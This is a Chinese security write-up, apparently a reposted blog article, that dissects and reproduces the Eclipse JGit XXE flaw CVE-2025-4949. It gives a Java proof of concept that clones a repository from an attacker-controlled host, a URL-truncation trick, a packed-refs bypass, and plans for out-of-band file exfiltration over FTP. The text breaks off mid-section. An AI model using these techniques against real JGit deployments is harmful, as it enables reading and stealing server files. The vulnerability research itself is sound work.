首页 时政热点 科技头条 智能AI 安全攻防 数码硬件 开发者生态 归档 标签 关于

从盲注到完美外带:CVE-2025-4949 Eclipse JGit XXE漏洞源码级剖析与实战复现

摘要

前言 在当今的软件开发生态与 CI/CD 流水线中,开源基础组件扮演着至关重要的角色。它们如同构建高楼大厦的钢筋水泥,被广泛集成在各类上层应用之中。然而,由于基础组件往往处于底层,其隐藏的安全漏洞具备极强的隐蔽性和破坏力。 Eclipse JGit 是 Java 生态中用于操作 Git 仓库的核心开源库。它允许开发者在 Java 代码中无缝实现 clone、commit、push 等 Git 操作...

JGit Git amazonaws com AmazonS3 JDK jgit amazon xxoo pro
2026-11-09 1 阅读 约9分钟阅读 先知社区
分享:
字号:
前言 在当今的软件开发生态与 CI/CD 流水线中,开源基础组件扮演着至关重要的角色。它们如同构建高楼大厦的钢筋水泥,被广泛集成在各类上层应用之中。然而,由于基础组件往往处于底层,其隐藏的安全漏洞具备极强的隐蔽性和破坏力。 Eclipse JGit 是 Java 生态中用于操作 Git 仓库的核心开源库。它允许开发者在 Java 代码中无缝实现 clone、commit、push 等 Git 操作。得益于其便捷性,许多知名企业级应用(如 Jenkins、各类 DevOps 平台、低代码平台的代码拉取模块)都在底层直接或间接地集成了 JGit。 2025 年,官方披露了 JGit 存在一个严重的 XML 外部实体注入(XXE)漏洞,编号为 CVE-2025-4949。该漏洞影响 JGit 的 ManifestParser 以及 AmazonS3 transport 模块。 本文将基于 JDK 17 环境,深入 JGit 5.12.0 版本源码,正向追踪从用户输入到触发 XXE 的完整攻击链路。同时,针对高版本 JDK 的底层安全限制,我们将分享如何利用 FTP 协议进行 OOB(带外数据)外带,最终结合 Spring Boot Web 环境实现完美的实战复现。 一.环境搭建与 Payload 构造技巧 为了真实还原漏洞,我们选用 JDK 17 环境,并在 Maven 项目中引入存在漏洞的 JGit 版本: org.eclipse.jgit org.eclipse.jgit 5.12.0.202106070339-r 编写最基础的触发代码,模拟克隆一个恶意的 amazon-s3 协议仓库: String payloadUri = "amazon-s3://user:pass@src123456.xxoo.pro?/"; File outputDir = new File("C:\\Windows\\Temp\\jgit-poc"); Git.cloneRepository() .setURI(payloadUri) .setDirectory(outputDir) .setCredentialsProvider(new UsernamePasswordCredentialsProvider("user", "pass")) .call(); 💡 审计思考:为什么 Payload 中要使用 ? 进行截断? 在 JGit 的原生逻辑中,若指定 bucket 为 xxx,最终拼接的域名是 http://xxx.s3.amazonaws.com/path。若直接传入攻击者域名,由于强制拼接 .s3.amazonaws.com,请求依然会发往 AWS。 这里利用了 URL 中 ? 标识 Query 参数的特性。传入 ...xxoo.pro?/ 后,JGit 底层的 URL 解析器会将 ?.s3.amazonaws.com 视为查询参数。最终实际请求变为了 http://src123456.xxoo.pro?.s3.amazonaws.com/,巧妙地将请求重定向到了我们控制的恶意 VPS 上。 二.源码级正向追踪:从 URI 到致命 Sink 点 要进行深度的代码审计,必须理清这段恶意 URL 是如何被 JGit 一步步处理的。 1. Transport 初始化与连接建立 当 JGit 识别到 amazon-s3 协议时,会调用 TransportAmazonS3 类的 openFetch 方法。 📌 【图 1:TransportAmazonS3.openFetch 方法】 从截图中可以看到,在 Line 176,代码使用攻击者可控的 bucket 和 keyPrefix 实例化了 DatabaseS3。紧接着在 Line 178,调用了 c.readAdvertisedRefs()。这行代码是关键转折点,它的作用是去远端获取 Git 引用列表,这意味着 JGit 将主动向恶意域名发起 HTTP 请求。 2. Sink 点定位:致命的 XML 解析 顺着 readAdvertisedRefs() 往下跟,当它请求远端对象列表时,最终会进入 AmazonS3 类的 ListParser 内部类。 📌 【图 2:AmazonS3.ListParser.list 源码】 如图,漏洞的致命 Sink 点暴露无遗: Line 686:代码通过 XMLReaderFactory.createXMLReader() 实例化了 XMLReader。由于未调用任何 setFeature() 禁用外部实体,该解析器处于脆弱状态。 Line 693:c.getInputStream() 获取了恶意服务端返回的 HTTP 响应流。 Line 694:直接调用 xr.parse(new InputSource(in))。不可信的流进入解析器,XXE 漏洞彻底引爆。 三.踩坑与绕过:packed-refs 的严格校验 在初测时,为了不让 JGit 中断流程,我们最初在恶意服务端(S3 Mock)中拦截 packed-refs 请求,试图返回 #test 字符串进行干扰。结果 JGit 直接抛出 error in packed-refs 异常,攻击链断裂。 为了解开这个谜团,我们深入源码一探究竟。 📌 【 图3:WalkRemoteObjectDatabase.readPackedRefsImpl 源码】 跟进 WalkRemoteObjectDatabase#readPackedRefsImpl 方法: Line 400 开始,代码通过 BufferedReader 逐行读取响应流。 关键校验点 (Line 403-404):如果读取到的行首字符是 #,代码会严格校验它是否等于 # pack-refs with: 这个特定的头部常量。由于 #test 不满足该特征,程序会将其当作合法的 Git 引用对象(寻找空格分隔的 SHA-1 值)进行解析,最终失败报错。 空内容绕过的原理:如果我们让服务端直接返回空字符串 "",br.readLine() 将返回 null,直接触发 break 跳出循环,完美绕过了后续所有的严格解析逻辑。 因此,在服务端逻辑中,只需对 packed-refs 请求返回空,即可让 JGit 顺利走到触发 XXE 的 list 请求。 四.进阶利用:突破 JDK 17 的 OOB 外带限制 成功触发 XXE 只是第一步,真正的实战价值在于读取服务器敏感文件。 最初的尝试非常顺利:我们引入外部 DTD,尝试读取 C:/Windows/win.ini 并通过 HTTP GET 请求外带。但结果却遭遇了 Illegal character in URL 的严重报错。 1. 底层溯源:为什么失败? 这就涉及到了高版本 JDK 的底层安全机制。我们在 JDK 17 的源码中寻找答案。 📌 【图 4:FtpURLConnection.check
这篇文章对您有帮助吗?

订阅66必读

每日精选科技资讯,直达你的邮箱